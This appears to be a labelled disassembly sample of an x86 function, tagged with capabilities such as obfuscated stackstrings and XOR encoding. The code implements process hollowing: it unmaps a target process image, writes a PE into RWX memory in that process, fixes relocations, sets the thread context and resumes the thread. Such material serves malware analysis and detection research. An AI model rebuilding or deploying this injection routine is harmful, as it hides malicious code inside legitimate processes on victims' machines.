Function at 0x401490
Capabilities:
Contain obfuscated stackstrings
Encode data using xor
Inspect section memory permissions
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x344
mov eax, dword [0x70107c]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp + 0x10]
mov edx, dword [ebp + 0x14]
mov dword [ebp - 0x324], eax
mov eax, dword [ebp + 0x18]
mov dword [ebp - 0x320], ecx
push edi
mov edi, dword [ebp + 8]
mov ecx, 0x5a4d
mov dword [ebp - 0x328], edi
mov dword [ebp - 0x31c], edx
mov dword [ebp - 0x30c], eax
cmp word [eax], cx
je 0x4014ec
xor eax, eax
pop edi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0047a996
mov esp, ebp
pop ebp
ret
push esi
mov esi, dword [eax + 0x3c]
add esi, eax
cmp dword [esi], 0x4550
jne 0x401505
mov edx, 0x14c
test word [esi + 0x16], dx
jne 0x401517
pop esi
xor eax, eax
pop edi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0047a996
mov esp, ebp
pop ebp
ret
push ebx
mov ebx, dword [esi + 0x34]
push 0x2cc
lea eax, [ebp - 0x2f4]
push 0
push eax
mov dword [ebp - 0x310], ebx
call fcn.0047e870
mov edx, dword [ebp - 0x324]
add esp, 0xc
lea ecx, [ebp - 0x2f4]
push ecx
push edx
mov dword [ebp - 0x2f4], 0x10002
call dword [section..rdata]
test eax, eax
je 0x401a68
mov eax, dword [ebp - 0x250]
lea ecx, [ebp - 0x344]
push ecx
push 4
lea edx, [ebp - 0x340]
add eax, 8
push edx
push eax
push edi
mov dword [ebp - 0x304], eax
call dword [0x481018]
test eax, eax
je 0x401a68
mov eax, dword [ebp - 0x340]
mov dword [ebp - 0x2f8], eax
cmp eax, ebx
jne 0x401628
lea eax, [ebp - 0x28]
push eax
mov dword [ebp - 0x28], 0x6c64746e
mov dword [ebp - 0x24], 0x6c642e6c
mov word [ebp - 0x20], 0x6c
call dword [0x48103c]
mov dword [ebp - 0x300], eax
mov dword [ebp - 0x1c], 0x6851724e
mov dword [ebp - 0x18], 0x486c596d
mov dword [ebp - 0x14], 0x4f675569
mov dword [ebp - 0x10], 0x5b594b56
mov dword [ebp - 0xc], 0x484f4974
mov byte [ebp - 8], 0xf8
xor ecx, ecx
lea ecx, [ecx]
mov dl, byte [ebp + ecx - 0x1c]
xor dl, cl
add dl, cl
mov byte [ebp + ecx - 0x1c], dl
inc ecx
cmp ecx, 0x15
jb 0x4015f0
mov ecx, dword [ebp - 0x300]
lea eax, [ebp - 0x1c]
push eax
push ecx
call dword [0x48102c]
mov edx, dword [ebp - 0x2f8]
push edx
push edi
call eax
add esp, 8
test eax, eax
jne 0x401a68
mov eax, dword [esi + 0x50]
push 0x40
push 0x3000
push eax
push ebx
mov ebx, dword [0x481034]
push edi
call ebx
mov dword [ebp - 0x2fc], eax
test eax, eax
jne 0x401676
call dword [0x481028]
cmp eax, 0x1e7
jne 0x401a68
mov ecx, dword [esi + 0x50]
push 0x40
push 0x3000
push ecx
push 0
push edi
call ebx
mov dword [ebp - 0x2fc], eax
test eax, eax
je 0x401a68
cmp dword [ebp - 0x2f8], eax
je 0x4016a4
mov ecx, dword [ebp - 0x304]
lea edx, [ebp - 0x314]
push edx
push 4
lea eax, [ebp - 0x2fc]
push eax
push ecx
push edi
call dword [0x481048]
test eax, eax
je 0x401a68
mov edx, 2
mov word [esi + 0x5c], dx
mov eax, dword [ebp - 0x2fc]
cmp eax, dword [ebp - 0x310]
je 0x40189f
test byte [esi + 0x16], 1
jne 0x401a68
mov edi, dword [esi + 0xa0]
mov dword [esi + 0x34], eax
movzx eax, word [esi + 0x14]
lea edx, [eax + esi + 0x18]
xor ebx, ebx
xor ecx, ecx
xor eax, eax
mov dword [ebp - 0x308], edx
cmp bx, word [esi + 6]
jae 0x401731
add edx, 0xc
nop
mov ebx, dword [edx]
cmp edi, ebx
jb 0x40170f
mov edi, dword [edx - 4]
add edi, ebx
mov dword [ebp - 0x300], edi
mov edi, dword [esi + 0xa0]
cmp edi, dword [ebp - 0x300]
jb 0x40171d
movzx ebx, word [esi + 6]
inc eax
add edx, 0x28
cmp eax, ebx
jb 0x4016f0
jmp 0x401731
mov edx, dword [ebp - 0x308]
lea ecx, [eax + eax*4]
lea eax, [edx + ecx*8]
mov ecx, dword [eax + 0x14]
sub ecx, dword [eax + 0xc]
add ecx, edi
add ecx, dword [ebp - 0x30c]
mov eax, dword [esi + 0xa4]
xor edi, edi
mov dword [ebp - 0x300], ecx
mov dword [ebp - 0x314], eax
mov dword [ebp - 0x2f8], edi
test eax, eax
je 0x401899
lea esp, [esp]
mov edx, dword [edi + ecx + 4]
lea eax, [edi + ecx + 4]
lea ebx, [edi + ecx + 8]
sub edx, 8
mov dword [ebp - 0x32c], ebx
shr edx, 1
mov ebx, 0
mov dword [ebp - 0x334], eax
mov dword [ebp - 0x330], edx
mov dword [ebp - 0x304], ebx
je 0x401885
jmp 0x4017a0
mov ecx, dword [ebp - 0x32c]
movzx eax, word [ecx + ebx*2]
mov cx, ax
shr cx, 0xc
movzx ecx, cx
and eax, 0xfff
cmp ecx, 3
je 0x4017c7
cmp ecx, 0xa
jne 0x40186a
mov edx, dword [ebp - 0x300]
mov ecx, eax
movzx eax, word [esi + 0x14]
add ecx, dword [edi + edx]
lea edx, [eax + esi + 0x18]
mov dword [ebp - 0x308], edx
xor ebx, ebx
xor eax, eax
xor edx, edx
cmp bx, word [esi + 6]
jae 0x401843
mov edi, dword [ebp - 0x308]
add edi, 0xc
mov dword [ebp - 0x318], edi
jmp 0x401800
mov ebx, dword [edi]
cmp ecx, ebx
jb 0x401815
mov edi, dword [edi - 4]
add edi, ebx
cmp ecx, edi
jb 0x401829
mov edi, dword [ebp - 0x318]
movzx ebx, word [esi + 6]
inc edx
add edi, 0x28
mov dword [ebp - 0x318], edi
cmp edx, ebx
jb 0x401800
jmp 0x40183d
lea eax, [edx + edx*4]
mov edx, dword [ebp - 0x308]
lea edx, [edx + eax*8]
mov eax, dword [edx + 0x14]
sub eax, dword [edx + 0xc]
add eax, ecx
mov edi, dword [ebp - 0x2f8]
mov edx, dword [ebp - 0x30c]
mov ecx, dword [ebp - 0x310]
sub dword [edx + eax], ecx
mov ebx, dword [ebp - 0x2fc]
add ebx, dword [edx + eax]
mov dword [edx + eax], ebx
mov ebx, dword [ebp - 0x304]
mov edx, dword [ebp - 0x330]
inc ebx
mov dword [ebp - 0x304], ebx
cmp ebx, edx
jb 0x4017a0
mov ecx, dword [ebp - 0x300]
mov eax, dword [ebp - 0x334]
add edi, dword [eax]
mov dword [ebp - 0x2f8], edi
cmp edi, dword [ebp - 0x314]
jb 0x401760
mov edi, dword [ebp - 0x328]
mov edx, dword [esi + 0x28]
add edx, dword [ebp - 0x2fc]
mov ecx, dword [ebp - 0x324]
lea eax, [ebp - 0x2f4]
push eax
push ecx
mov dword [ebp - 0x244], edx
call dword [0x481008]
test eax, eax
je 0x401a68
mov eax, dword [esi + 0x54]
mov ebx, dword [ebp - 0x30c]
mov ecx, dword [ebp - 0x2fc]
lea edx, [ebp - 0x33c]
push edx
push eax
push ebx
push ecx
push edi
call dword [0x481048]
test eax, eax
je 0x401a68
mov eax, dword [esi + 0x54]
mov ecx, dword [ebp - 0x2fc]
lea edx, [ebp - 0x338]
push edx
push 2
push eax
push ecx
push edi
call dword [0x481030]
test eax, eax
je 0x401a68
mov edx, dword [ebx + 0x3c]
xor eax, eax
lea ebx, [edx + ebx + 0x11c]
mov dword [ebp - 0x2f8], 0
cmp ax, word [esi + 6]
jb 0x401966
mov edx, dword [ebp - 0x324]
push edx
call dword [0x48104c]
xor ecx, ecx
cmp eax, 0xffffffff
setne cl
pop ebx
pop esi
pop edi
mov eax, ecx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0047a996
mov esp, ebp
pop ebp
ret
mov edi, dword [ebp - 0x328]
mov eax, dword [ebx - 0x10]
mov edx, dword [ebx - 0x14]
add eax, dword [ebp - 0x30c]
lea ecx, [ebp - 0x33c]
push ecx
mov ecx, dword [ebx - 0x18]
add ecx, dword [ebp - 0x2fc]
push edx
push eax
push ecx
push edi
call dword [0x481048]
test eax, eax
je 0x401a68
movzx edx, word [esi + 6]
dec edx
cmp dword [ebp - 0x2f8], edx
jne 0x4019a6
mov edi, dword [esi + 0x50]
jmp 0x4019a9
mov edi, dword [ebx + 0x10]
mov eax, dword [ebx]
sub edi, dword [ebx - 0x18]
mov ecx, eax
and ecx, 0x20000000
je 0x4019ca
test eax, 0x40000000
je 0x4019ca
test eax, eax
jns 0x4019ca
mov eax, 0x40
jmp 0x401a23
test ecx, ecx
je 0x4019eb
test eax, 0x40000000
je 0x4019dc
mov eax, 0x20
jmp 0x401a23
test ecx, ecx
je 0x4019eb
test eax, eax
jns 0x4019eb
mov eax, 0x80
jmp 0x401a23
mov edx, eax
and edx, 0x40000000
je 0x401a00
test eax, eax
jns 0x401a00
mov eax, 4
jmp 0x401a23
test ecx, ecx
je 0x401a0b
mov eax, 0x10
jmp 0x401a23
test edx, edx
je 0x401a16
mov eax, 2
jmp 0x401a23
and eax, 0x80000000
neg eax
sbb eax, eax
and eax, 7
inc eax
lea ecx, [ebp - 0x338]
push ecx
push eax
mov eax, dword [ebx - 0x18]
add eax, dword [ebp - 0x2fc]
push edi
push eax
mov eax, dword [ebp - 0x328]
push eax
call dword [0x481030]
test eax, eax
je 0x401a68
mov eax, dword [ebp - 0x2f8]
movzx ecx, word [esi + 6]
inc eax
add ebx, 0x28
mov dword [ebp - 0x2f8], eax
cmp eax, ecx
jl 0x401960
jmp 0x401931
mov ecx, dword [ebp - 4]
pop ebx
pop esi
xor ecx, ebp
xor eax, eax
pop edi
call fcn.0047a996
mov esp, ebp
pop ebp
ret